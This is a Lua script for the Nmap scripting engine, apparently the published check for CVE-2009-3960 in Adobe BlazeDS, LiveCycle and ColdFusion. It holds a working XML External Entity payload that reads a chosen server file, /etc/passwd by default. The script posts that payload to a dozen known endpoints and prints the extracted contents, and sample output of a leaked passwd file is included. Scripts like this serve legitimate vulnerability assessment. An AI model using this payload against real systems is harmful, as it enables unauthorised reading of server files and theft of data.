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http-vuln-cve2009-3960.nse
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http-vuln-cve2009-3960.nse
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local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
local vulns = require "vulns"
description = [[
Exploits cve-2009-3960 also known as Adobe XML External Entity Injection.
This vulnerability permits to read local files remotely and is present in
BlazeDS 3.2 and earlier, LiveCycle 8.0.1, 8.2.1, and 9.0, LiveCycle Data
Services 2.5.1, 2.6.1, and 3.0, Flex Data Services 2.0.1, and
ColdFusion 7.0.2, 8.0, 8.0.1, and 9.0
For more information see:
* http://www.security-assessment.com/files/advisories/2010-02-22_Multiple_Adobe_Products-XML_External_Entity_and_XML_Injection.pdf
* http://www.osvdb.org/62292
* Metasploit module: auxiliary/scanner/http/adobe_xml_inject
]]
---
-- @args http-vuln-cve2009-3960.root Points to the root path. Defaults to "/"
-- @args http-vuln-cve2009-3960.readfile target file to be read. Defaults to "/etc/passwd"
--
-- @usage
-- nmap --script=http-vuln-cve2009-3960 --script-args http-http-vuln-cve2009-3960.root="/root/" <target>
--
--@output
-- PORT STATE SERVICE
-- 80/tcp open http
--| http-vuln-cve2009-3960:
--| samples/messagebroker/http
--| <?xml version="1.0" encoding="utf-8"?>
--| <amfx ver="3"><body targetURI="/onResult" responseURI=""><object type="flex.messaging.messages.AcknowledgeMessage"><traits><string>timestamp</string><string>headers</string><string>body</string><string>correlationId</string><string>messageId</string><string>timeToLive</string><string>clientId</string><string>destination</string></traits><double>1.325337665684E12</double><object><traits><string>DSMessagingVersion</string><string>DSId</string></traits><double>1.0</double><string>5E037B49-540B-EDCF-A83A-BE9059CF6812</string></object><null/><string>root:x:0:0:root:/root:/bin/bash
--| bin:*:1:1:bin:/bin:/sbin/nologin
--| daemon:*:2:2:daemon:/sbin:/sbin/nologin
--| adm:*:3:4:adm:/var/adm:/sbin/nologin
--| lp:*:4:7:lp:/var/spool/lpd:/sbin/nologin
--| sync:*:5:0:sync:/sbin:/bin/sync
--| shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
--| halt:*:7:0:halt:/sbin:/sbin/halt
--| mail:*:8:12:mail:/var/spool/mail:/sbin/nologin
--| news:*:9:13:news:/etc/news:
--| uucp:*:10:14:uucp:/var/spool/uucp:/sbin/nologin
--| operator:*:11:0:operator:/root:/sbin/nologin
--| games:*:12:100:games:/usr/games:/sbin/nologin
--| gopher:*:13:30:gopher:/var/gopher:/sbin/nologin
--| ftp:*:14:50:FTP User:/var/ftp:/sbin/nologin
--| nobody:*:99:99:Nobody:/:/sbin/nologin
--| nscd:!!:28:28:NSCD Daemon:/:/sbin/nologin
--| vcsa:!!:69:69:virtual console memory owner:/dev:/sbin/nologin
--| pcap:!!:77:77::/var/arpwatch:/sbin/nologin
--| mailnull:!!:47:47::/var/spool/mqueue:/sbin/nologin
--| ...
--|_
author = "Hani Benhabiles"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"exploit", "intrusive"}
portrule = shortport.http
action = function(host, port)
-- Matching returned response body to confirm vulnerability
local matchstart = '<?xml version="1.0" encoding="utf-8"?>'
local matchend = '</string><null/></object></body></amfx>'
local matchsize = 120
local matchnotvuln = '<string>External entities are not allowed</string>'
local results = {}
local root = stdnse.get_script_args(SCRIPT_NAME .. ".root") or "/"
local readfile = stdnse.get_script_args(SCRIPT_NAME .. ".readfile") or "/etc/passwd"
local paths = {
"messagebroker/http",
"messagebroker/httpsecure",
-- Coldfusion
"flex2gateway/http",
"flex2gateway/httpsecure",
-- BlazeDS
"blazeds/messagebroker/http",
"blazeds/messagebroker/httpsecure",
"samples/messagebroker/http",
"samples/messagebroker/httpsecure",
-- LiveCycle Data Services
"lcds/messagebroker/http",
"lcds/messagebroker/httpsecure",
"lcds-samples/messagebroker/http",
"lcds-samples/messagebroker/httpsecure",
}
local exploit = [[<?xml version="1.0" encoding="utf-8"?><!DOCTYPE test
[ <!ENTITY x3 SYSTEM "]].. readfile
.. [["> ]><amfx ver="3"
xmlns="http://www.macromedia.com/2005/amfx"><body>
<object type="flex.messaging.messages.CommandMessage">
<traits><string>body</string><string>clientId</string>
<string>correlationId</string><string>destination</string>
<string>headers</string><string>messageId</string><string>
operation</string><string>timestamp</string><string>timeToLive
</string></traits><object><traits /></object><null /><string />
<string /><object><traits><string>DSId</string><string>
DSMessagingVersion</string></traits><string>nil</string>
<int>1</int></object><string>&x3;</string><int>5</int>
<int>0</int><int>0</int></object></body></amfx>]]
local options = {header={["Content-Type"]="application/x-amf"}}
local path
local http_vuln = {
title = "Adobe XML External Entity Injection",
IDS = {CVE = 'CVE-2009-3960'},
risk_factor = "High",
scores = {
CVSSv2 = "4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:P/I:N/A:N)",
},
description = [[
Permits to read local files remotely and is present in
BlazeDS 3.2 and earlier, LiveCycle 8.0.1, 8.2.1, and 9.0, LiveCycle Data
Services 2.5.1, 2.6.1, and 3.0, Flex Data Services 2.0.1, and
ColdFusion 7.0.2, 8.0, 8.0.1, and 9.0]],
references = {
'http://www.security-assessment.com/files/advisories/2010-02-22_Multiple_Adobe_Products-XML_External_Entity_and_XML_Injection.pdf',
'http://www.osvdb.org/62292'
},
dates = {
disclosure = {year = '2010', month = '02', day = '15'},
},
exploit_results = {},
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
http_vuln.state = vulns.STATE.NOT_VULN
for _,path in pairs(paths) do
local uri = root .. path
local response = http.post(host, port, uri, options, nil, exploit)
if response.status == 200 then
if #response.body >= matchsize and
string.sub(response.body,1,string.len(matchstart))==matchstart and
string.sub(response.body,-string.len(matchend))==matchend and
string.match(response.body, matchnotvuln)==nil
then
table.insert(results, {'File: ' .. readfile .. ' extracted via ' .. path .. '\n\n',{response.body}})
http_vuln.extra_info = stdnse.format_output(true, results)
http_vuln.state = vulns.STATE.EXPLOIT
end
end
end
return report:make_output(http_vuln)
end